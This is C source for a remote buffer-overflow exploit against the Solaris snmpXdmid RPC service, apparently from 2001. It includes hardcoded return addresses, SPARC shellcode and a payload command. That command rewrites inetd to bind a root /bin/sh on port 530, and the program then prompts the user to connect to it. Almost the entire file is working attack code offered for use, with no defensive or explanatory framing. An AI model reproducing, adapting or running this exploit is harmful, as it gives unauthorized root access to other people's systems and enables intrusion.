/* * ########## Private Code! Don't distribute it ! ########### * * --= snmpdXdmid remote exploit for Solaris(2.6/7/8) SPARC(with * non-exec-stack) =-- * * Check if target is vulnerable: $ rpcinfo -p target |grep 100249 100249 1 * udp 32785 100249 1 tcp 32778 <-- OK, target is vulnerable! * * Compile : cp <...> ./librwtool.so.2 * : ln -s ./librwtool.so.2 ./librwtool.so * : gcc -Wall -pipe -O3 -o ex ex.c -R. -L. -ldmi -lnsl -lrwtool * : strip ./ex * : ldd ./ex * * Usages : snmp_ex target 6|7|8 * * e.g. ./snmp_ex 192.168.10.2 7 (for Solaris 7) * * Greets to Job de Haas (He found this bug and give me many * help) scz (strong RPC technology support :-) * * * Code by warning3 . * v2. 2001-03-22 * * ########## Private Code! Don't distribute it ! ########### */ #include #include #include #include #include #include struct DmiNodeAddress { DmiString_t *address; DmiString_t *rpc; DmiString_t *transport; }; typedef struct DmiNodeAddress DmiNodeAddress; typedef DmiNodeAddress DmiNodeAddress_t; struct DmiComponentAddedIN { DmiUnsigned_t handle; DmiNodeAddress_t *sender; DmiComponentInfo_t *info; }; typedef struct DmiComponentAddedIN DmiComponentAddedIN; #define _DmiComponentAdded ((unsigned long)(0x101)) extern DmiErrorStatus_t * _dmicomponentadded_0x1(DmiComponentAddedIN *, CLIENT *); extern bool_t xdr_DmiComponentAddedIN(XDR *, DmiComponentAddedIN *); #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ #define BUFFLEN 2048 #define RET6_BASE 0xef20b2cc #define RET7_BASE 0xfea0b5e0 #define STRCPY_ADDR_6 (0xef4a439c - 4) #define STRCPY_ADDR_7 (0xff0369e4 - 4) #define DEST_6 0xef5a6040 #define DEST_7 0xff0ba240 /* shellcode is from rpc.cmsd exploit */ char sc[] = "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff" "\xa6\x1c\xc0\x13\xe6\x23\xe0\x58\xe6\x23\xe0\x60" "\x90\x03\xe0\x50\x94\x1a\x80\x0a\x92\x0b\x80\x0e" "\x9c\x03\xa0\x10\xac\x03\xe0\x50\xec\x23\xbf\xf0" "\xac\x03\xe0\x5c\xec\x23\xbf\xf4\xac\x03\xe0\x64" "\xec\x23\xbf\xf8\xe6\x23\xbf\xfc\x82\x10\x20\x3b" "\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x6b\x73\x68" "\x30\x30\x30\x30\x2d\x63\x63\x63\x30\x30\x30\x30"; int main(int argc, char *argv[]) { DmiComponentInfo_t dmicominfo; DmiNodeAddress_t dminodeaddr; DmiComponentAddedIN addcompIn; DmiString_t combody; DmiErrorStatus_t error_status; char hostname[256]; char buf[BUFFLEN]; CLIENT *clnt; struct timeval tv = {25, 0}; int res, i; int len1, len2; char *command = "echo courier stream tcp nowait root /bin/sh sh -i > /tmp/.x;/usr/sbin/inetd -s /tmp/.x;rm -f /tmp/.x;nohup /etc/init.d/init.dmi start 1>&2 2>/dev/null &\\;"; int offset = 0, offset1, safeoff, tmpoff = 0; long *addrptr; unsigned int baseaddr, retaddr, safeaddr; unsigned int fpaddr, fp1addr, destaddr, shaddr; if (argc < 3) { printf("snmpXdmisd exploit for solaris SPARC\n"); printf("Usage : %s hostname 6|7|8\n", argv[0]); printf("E.g. $ %s 127.0.0.1 6 (for solaris 2.6)\n", argv[0]); exit(0); } strncpy(hostname, argv[1], 255); if (atoi(argv[2]) == 6) { offset = 1740; tmpoff = 540; baseaddr = RET6_BASE; retaddr = STRCPY_ADDR_6; destaddr = DEST_6; } else if (atoi(argv[2]) == 7 || atoi(argv[2]) == 8) { offset = 1200; tmpoff = 200; baseaddr = RET7_BASE; retaddr = STRCPY_ADDR_7; destaddr = DEST_7; } else { printf("Unkonw system type!\n"); printf("Usage : %s hostname 6|7|8\n", argv[0]); printf("E.g. $ %s 127.0.0.1 6 (for solaris 2.6)\n", argv[0]); exit(0); } safeoff = 200; safeaddr = baseaddr + 100; printf("retaddr = %#x\n", retaddr); printf("safeaddr = %#x\n\n", safeaddr); addrptr = (long *) buf; /* fill with safeaddr in the first 200 bytes */ for (i = 0; i < safeoff / 4; i++) *addrptr++ = safeaddr; shaddr = baseaddr + offset + 64; fp1addr = safeaddr; fpaddr = baseaddr + safeoff; *addrptr++ = 0x12345678;/* you can put any data in local registers */ *addrptr++ = 0x12345678; *addrptr++ = 0x12345678; *addrptr++ = 0x12345678; *addrptr++ = 0x12345678; *addrptr++ = 0x12345678; *addrptr++ = 0x12345678; *addrptr++ = 0x12345678; *addrptr++ = destaddr; /* destination address */ *addrptr++ = shaddr; /* source address of shellcode */ *addrptr++ = fp1addr; *addrptr++ = fp1addr; *addrptr++ = fp1addr; *addrptr++ = fp1addr; *addrptr++ = fp1addr; /* we need this address to work */ *addrptr++ = destaddr - 8; /* we will jump (dest_addr+8) to run */ /* fill with the nops in the last bytes */ for (i = 0; i < (offset - tmpoff - safeoff - 64) / 4; i++) *addrptr++ = NOP; /* We have to fill the tmpoff bytes with 0xffffffff in Solaris 2.6 */ for (i = 0; i < tmpoff / 4; i++) *addrptr++ = 0xffffffff; /* * overwrite the saved %i0-%i6 and %l0-%l7 with safeaddr so that we * can return from free(). */ for (i = 0; i < 14; i++) *addrptr++ = safeaddr; /* saved (%l0-%l7),(%i0-%i5) */ *addrptr++ = fpaddr; /* overwrite return address */ *addrptr++ = retaddr; /* %i7 */ len1 = strlen(sc); len2 = strlen(command); /* * program will change some bytes in the last 160 bytes So we can't * let our shellcode is in the area. */ for (i = 0; i < 16; i++) *addrptr++ = NOP; offset1 = offset + 64 + 64; memcpy(buf + offset1, sc, len1); memcpy(buf + offset1 + len1, command, len2); buf[BUFFLEN - 1] = '\0'; /* fill the DmiComponentInfo_t struct */ combody.body.body_val = (char *) &buf; combody.body.body_len = strlen(buf) + 1; dmicominfo.id = 0; dmicominfo.name = &combody; dmicominfo.pragma = NULL; dmicominfo.description = NULL; dmicominfo.exactMatch = 0; /* fill the DmiNodeAddress_t struct */ dminodeaddr.address = NULL; dminodeaddr.rpc = NULL; dminodeaddr.transport = NULL; /* fill the DmiComponentAddedIN struct */ addcompIn.handle = 0; addcompIn.sender = &dminodeaddr; addcompIn.info = &dmicominfo; clnt = clnt_create(hostname, 100249, 1, "tcp"); if (clnt == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } res = 0; /* call _DmiComponentAdded procedure */ res = clnt_call(clnt, _DmiComponentAdded, xdr_DmiComponentAddedIN, (caddr_t) & addcompIn, xdr_DmiErrorStatus_t, (caddr_t) & error_status, tv); if (res != RPC_SUCCESS) { clnt_perror(clnt, "clnt_call[_DmiComponentAdded]"); printf("\nNow try to connect the target 530 port, good luck.:)\n"); } else fprintf(stderr, "clnt_call[_DmiComponentAdded] worked\n"); clnt_destroy(clnt); return 0; }